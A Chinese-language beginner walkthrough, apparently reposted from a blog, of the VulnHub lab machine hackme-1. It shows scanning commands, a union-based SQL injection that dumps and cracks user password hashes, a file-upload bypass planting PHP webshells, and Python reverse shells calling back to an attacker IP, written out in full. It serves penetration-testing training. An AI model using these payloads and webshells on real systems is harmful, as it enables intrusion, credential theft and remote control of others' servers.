靶机渗透 hackme-1(详解,适合新手)

Posted 君莫hacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了靶机渗透 hackme-1(详解,适合新手)相关的知识,希望对你有一定的参考价值。

0x01靶机描述

靶机基本信息:

链接https://www.vulnhub.com/entry/hackme-1,330/
发布时间18 Jul 2019
作者x4bx54
难度简单

靶机基本介绍:

“hackme”是一个初学者难度等级框。目标是通过web漏洞获得有限的权限访问,然后权限升级为root。这个实验室是为了模拟现实生活环境而创建的。

“hackme”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。

与VMware相比,VirtualBox的效果更好

0x02环境搭建

  1. 下载并导入靶机
    打开vmware–文件–打开–hackme.ova

  2. 查看网络适配器
    将靶机网络适配器改为NAT模式

  3. 启动靶机
    点击 ▶靶机,开启成功

0x03靶机渗透

一、 信息收集

  1. 主机发现
arpscan -l

  1. 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.207

  1. 详细扫描
nmap -T4 -sV -O -p 22,80 192.168.30.207

  1. 目录扫描
    (1) dirb目录扫描
dirb http://192.168.30.207 /usr/share/dirb/wordlists/big.txt


(2)gobuster目录扫描

gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30

  1. 网站指纹识别
whatweb http://192.168.30.207

二、 漏洞挖掘

  • SQL注入

  1. 登录主页发现登录页面,而且还可以注册用户

  2. 注册用户admin 密码123456

  3. 登录admin用户

    单击search可以进行查看到很多的书名

  4. 验证sql注入

Windows OS' and 1=1#

Windows OS' and 1=2# 


由以上验证出此处存在字符型(单引号)sql注入

  1. 判断字段数
Windows OS' order by 3#

Windows OS' order by 4#


可以看出这里字段数为3

  1. 判断显示位置
-1' union select 1,2,3#

  1. 查看当前数据库
-1' union select database(),2,3#

  1. 查看webapphacking库所有的表
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#

  1. 查看users表中所有的列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

10.查看表中user,password

-1' union select group_concat(user),group_concat(pasword),3 from users#

  1. 将得到密码进行MD5解密
user1   	5d41402abc4b2a76b9719d911017c592    hello
user2   	6269c4f71a55b24bad0f0267d9be5508    commando
user3	    0f359740bd1cda994f8b55330c86d845    p@ssw0rd
test	    05a671c66aefea124cc08b76ea6d30bb	testtest
superadmin	2386acb2cf356944177746fc92523983	Uncrackable
test1   	05a671c66aefea124cc08b76ea6d30bb	testtest
admin   	e10adc3949ba59abbe56e057f20f883e	123456
123456	    e10adc3949ba59abbe56e057f20f883e	123456



这里只截了三张图,其他的解密也一样,后面两个用户(admin,123456)是我自己刚刚在网页注册的

  • 文件上传漏洞

  1. 使用superadmin用户登录

  2. 发现文件上传点

  1. 上传phpinfo()进行验证

制作假图片头

GIF89a<?php phpinfo(); ?>


上传前先开启burp抓包

  1. 拦截-修改后缀-send,我们可以从回包中看出文件已将上传至文件夹

  1. 信息收集时,目录扫描出的路径
http://192.168.30.207/uploads/
访问路径
http://192.168.30.207/uploads/phpinfo.php

该上传点存在文件上传漏洞,并且假图片头与图片马均可以

三、 漏洞利用

反弹shell方法一:一句话木马,蚁剑连接

  1. 制作图片马
<?php @eval($_POST[shell]); ?>

copy a.jpg/b + tu.php/a b.jpg

  1. 同上面上传phpinfo.jpg一样,上传图片马
    抓包–修改后缀–发送,可以看出上传成功

  2. 访问上传的图片马

http://192.168.30.207/uploads/b.php

  1. 蚁剑连接成功


5. 上传反弹shell脚本
将反弹shell放在网站根目录下,开启http服务

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

service apache2 start

  1. 在蚁剑终端上下载
wget http://192.168.30.182/shell.py

  1. kali监听1234端口

  2. 运行

  3. 反弹shell成功

反弹shell方法二:system命令执行

  1. 制作图片马
<?php @system($_GET([cmd]);?>


合成图片马(与方法一合成方法相同)

copy a.jpg/b + sysexec.php/a sysexec3.jpg
  1. 同上面上传phpinfo.jpg一样,上传图片马
    抓包–修改后缀–发送,可以看出上传成功
  2. kali开启监听7777端口
nc -vnlp 7777

  1. 在浏览器借助hackbar进行访问上传上去的反弹shell脚本
http://192.168.30.207/uploads/stsexec3.php?cmd=python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"])'


5. 反弹shell成功

四、 提权

  1. 识别所存在的用户
cat /etc/passwd | grep /bin/bash

  1. 在/home/legacy路径下发现二进制文件touchmenot,执行二进制文件
./touchmenot


提权成功

0x04实验总结

这个靶机考察了目录搜集,sql注入,文件上传漏洞,反弹shell等内容,在渗透的过程中需要灵活应对每一个环节,靶机难度比较简单

以上是关于靶机渗透 hackme-1(详解,适合新手)的主要内容,如果未能解决你的问题,请参考以下文章

靶机渗透HACKME: 1

靶机渗透HACKME: 1

靶机DC-8(详细渗透,适合新手渗透)

靶机渗透 HACKME-2 (详细渗透,适合新手渗透)

靶机渗透SickOs1.2(非常详细,适合新手渗透)

(Vulnhub练习)-- HACKME: 1渗透实战